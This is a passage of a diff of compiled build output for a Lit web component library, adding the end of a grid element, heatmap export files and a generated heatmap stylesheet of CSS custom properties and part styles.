min !== '' && length.test(min)
|
|
91
|
+
? `:host { --_grid-template: repeat(auto-fit, minmax(min(${min}, 100%), 1fr)); }`
|
|
92
|
+
: '';
|
|
93
|
+
}
|
|
94
|
+
/* `updated` alone, where there was a `firstUpdated` beside it doing the same
|
|
95
|
+
thing. Lit puts every initial property into the first `changed`, so a grid
|
|
96
|
+
with a `min` ran `applyTemplate` twice on every mount, and one without it
|
|
97
|
+
ran it once to write the empty string an empty `<style>` already held. */
|
|
98
|
+
updated(changed) {
|
|
99
|
+
super.updated(changed);
|
|
100
|
+
if (changed.has('min')) {
|
|
101
|
+
this.applyTemplate();
|
|
102
|
+
}
|
|
103
|
+
}
|
|
104
|
+
render() {
|
|
105
|
+
return html `<style id="template"></style>
|
|
106
|
+
<slot></slot>`;
|
|
107
|
+
}
|
|
108
|
+
static { this.styles = styles; }
|
|
109
|
+
};
|
|
110
|
+
__decorate([
|
|
111
|
+
property({ reflect: true, type: Number })
|
|
112
|
+
], HelixGrid.prototype, "columns", void 0);
|
|
113
|
+
__decorate([
|
|
114
|
+
property()
|
|
115
|
+
], HelixGrid.prototype, "min", void 0);
|
|
116
|
+
__decorate([
|
|
117
|
+
property({ reflect: true })
|
|
118
|
+
], HelixGrid.prototype, "gap", void 0);
|
|
119
|
+
__decorate([
|
|
120
|
+
property({ reflect: true })
|
|
121
|
+
], HelixGrid.prototype, "align", void 0);
|
|
122
|
+
HelixGrid = __decorate([
|
|
123
|
+
customElement('helix-grid')
|
|
124
|
+
], HelixGrid);
|
|
125
|
+
export { HelixGrid };
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
export { HelixHeatmap } from './root/heatmap-root.js';
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
export { HelixHeatmap } from './root/heatmap-root.js';
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
export declare const styles: import("lit").CSSResult;
|
|
@@ -0,0 +1,141 @@
|
|
|
1
|
+
// Generated from src/heatmap/root/heatmap-root.css by `bun run styles`. Do not edit.
|
|
2
|
+
import { createSheet } from '@fusion.dev/helix-core';
|
|
3
|
+
export const styles = createSheet(`:host {
|
|
4
|
+
|
|
5
|
+
display: grid;
|
|
6
|
+
grid-template-columns: minmax(0, max-content);
|
|
7
|
+
|
|
8
|
+
--_heatmap-cell-width: var(--heatmap-cell-inline-size, var(--heatmap-cell-size, 0.75rem));
|
|
9
|
+
--_heatmap-cell-height: var(--heatmap-cell-height, var(--heatmap-cell-size, 0.75rem));
|
|
10
|
+
|
|
11
|
+
--heatmap-tone-accent: var(--helix-color-accent);
|
|
12
|
+
--heatmap-tone-danger: var(--helix-color-danger);
|
|
13
|
+
--heatmap-tone-info: var(--helix-color-info);
|
|
14
|
+
--heatmap-tone-muted: var(--helix-color-surface-sunken);
|
|
15
|
+
--heatmap-tone-primary: var(--helix-color-primary);
|
|
16
|
+
--heatmap-tone-success: var(--helix-color-success);
|
|
17
|
+
--heatmap-tone-warning: var(--helix-color-warning);
|
|
18
|
+
|
|
19
|
+
--heatmap-tone-1: color-mix(
|
|
20
|
+
in oklab,
|
|
21
|
+
var(--helix-color-primary-active) 20%,
|
|
22
|
+
var(--helix-color-surface-sunken)
|
|
23
|
+
);
|
|
24
|
+
--heatmap-tone-2: color-mix(
|
|
25
|
+
in oklab,
|
|
26
|
+
var(--helix-color-primary-active) 40%,
|
|
27
|
+
var(--helix-color-surface-sunken)
|
|
28
|
+
);
|
|
29
|
+
--heatmap-tone-3: color-mix(
|
|
30
|
+
in oklab,
|
|
31
|
+
var(--helix-color-primary-active) 60%,
|
|
32
|
+
var(--helix-color-surface-sunken)
|
|
33
|
+
);
|
|
34
|
+
--heatmap-tone-4: color-mix(
|
|
35
|
+
in oklab,
|
|
36
|
+
var(--helix-color-primary-active) 80%,
|
|
37
|
+
var(--helix-color-surface-sunken)
|
|
38
|
+
);
|
|
39
|
+
--heatmap-tone-5: var(--helix-color-primary-active);
|
|
40
|
+
}
|
|
41
|
+
|
|
42
|
+
[part="strip"] {
|
|
43
|
+
display: grid;
|
|
44
|
+
gap: var(--heatmap-gap, var(--helix-space-2xs));
|
|
45
|
+
grid-auto-columns: var(--_heatmap-cell-width);
|
|
46
|
+
grid-auto-flow: column;
|
|
47
|
+
grid-template-rows: repeat(var(--_heatmap-rows, 1), var(--_heatmap-cell-height));
|
|
48
|
+
justify-content: start;
|
|
49
|
+
|
|
50
|
+
position: relative;
|
|
51
|
+
}
|
|
52
|
+
|
|
53
|
+
[part="cell"] {
|
|
54
|
+
background-color: var(--heatmap-tone, var(--helix-color-surface-sunken));
|
|
55
|
+
border-radius: var(--heatmap-cell-radius, calc(var(--helix-radii-sm) * 0.5));
|
|
56
|
+
inline-size: var(--_heatmap-cell-width);
|
|
57
|
+
}
|
|
58
|
+
|
|
59
|
+
[part="mark"] {
|
|
60
|
+
block-size: 1px;
|
|
61
|
+
inline-size: 1px;
|
|
62
|
+
pointer-events: none;
|
|
63
|
+
position: absolute;
|
|
64
|
+
}
|
|
65
|
+
|
|
66
|
+
[part="tooltip-anchor"] {
|
|
67
|
+
inset: 0;
|
|
68
|
+
pointer-events: none;
|
|
69
|
+
position: absolute;
|
|
70
|
+
}
|
|
71
|
+
|
|
72
|
+
[part="tooltip-label"] {
|
|
73
|
+
color: var(--helix-color-foreground-muted);
|
|
74
|
+
display: block;
|
|
75
|
+
font-weight: var(--helix-weight-medium);
|
|
76
|
+
}
|
|
77
|
+
|
|
78
|
+
[part="tooltip-cell"] {
|
|
79
|
+
align-items: baseline;
|
|
80
|
+
display: flex;
|
|
81
|
+
gap: var(--helix-space-sm);
|
|
82
|
+
justify-content: space-between;
|
|
83
|
+
}
|
|
84
|
+
|
|
85
|
+
[part="tooltip-name"] {
|
|
86
|
+
color: var(--helix-color-foreground-muted);
|
|
87
|
+
}
|
|
88
|
+
|
|
89
|
+
[part="tooltip-value"] {
|
|
90
|
+
font-variant-numeric: tabular-nums;
|
|
91
|
+
font-weight: var(--helix-weight-medium);
|
|
92
|
+
}
|
|
93
|
+
|
|
94
|
+
@media (hover: hover) {
|
|
95
|
+
[part="cell"]:hover {
|
|
96
|
+
outline: var(--helix-border-thin) solid var(--helix-color-foreground);
|
|
97
|
+
outline-offset: var(--helix-border-thin);
|
|
98
|
+
}
|
|
99
|
+
|
|
100
|
+
[part="strip"]:not([data-spaced]) [part="cell"]:hover {
|
|
101
|
+
outline-offset: calc(var(--helix-border-thin) * -1);
|
|
102
|
+
}
|
|
103
|
+
}
|
|
104
|
+
|
|
105
|
+
[part="footer"] {
|
|
106
|
+
align-items: baseline;
|
|
107
|
+
color: var(--helix-color-foreground-subtle);
|
|
108
|
+
display: grid;
|
|
109
|
+
font-family: var(--helix-font-sans);
|
|
110
|
+
font-size: var(--helix-text-xs);
|
|
111
|
+
gap: var(--helix-space-xs);
|
|
112
|
+
grid-template-columns: auto minmax(0, 1fr) auto;
|
|
113
|
+
padding-block-start: var(--helix-space-xs);
|
|
114
|
+
}
|
|
115
|
+
|
|
116
|
+
[part="summary"] {
|
|
117
|
+
text-align: center;
|
|
118
|
+
}
|
|
119
|
+
|
|
120
|
+
[part="end"] {
|
|
121
|
+
text-align: end;
|
|
122
|
+
}
|
|
123
|
+
|
|
124
|
+
[part="footer"][data-empty] {
|
|
125
|
+
display: none;
|
|
126
|
+
}
|
|
127
|
+
|
|
128
|
+
[part="empty"] {
|
|
129
|
+
color: var(--helix-color-foreground-subtle);
|
|
130
|
+
font-family: var(--helix-font-sans);
|
|
131
|
+
font-size: var(--helix-text-sm);
|
|
132
|
+
margin: var(--helix-space-none);
|
|
133
|
+
text-align: center;
|
|
134
|
+
}
|
|
135
|
+
|
|
136
|
+
@media print {
|
|
137
|
+
[part="cell"] {
|
|
138
|
+
outline: var(--helix-border-thin) solid var(--helix-color-border);
|
|
139
|
+
outline-offset: calc(var(--helix-border-thin) * -1);
|
|
140
|
+
}
|
|
141
|
+
}`);
|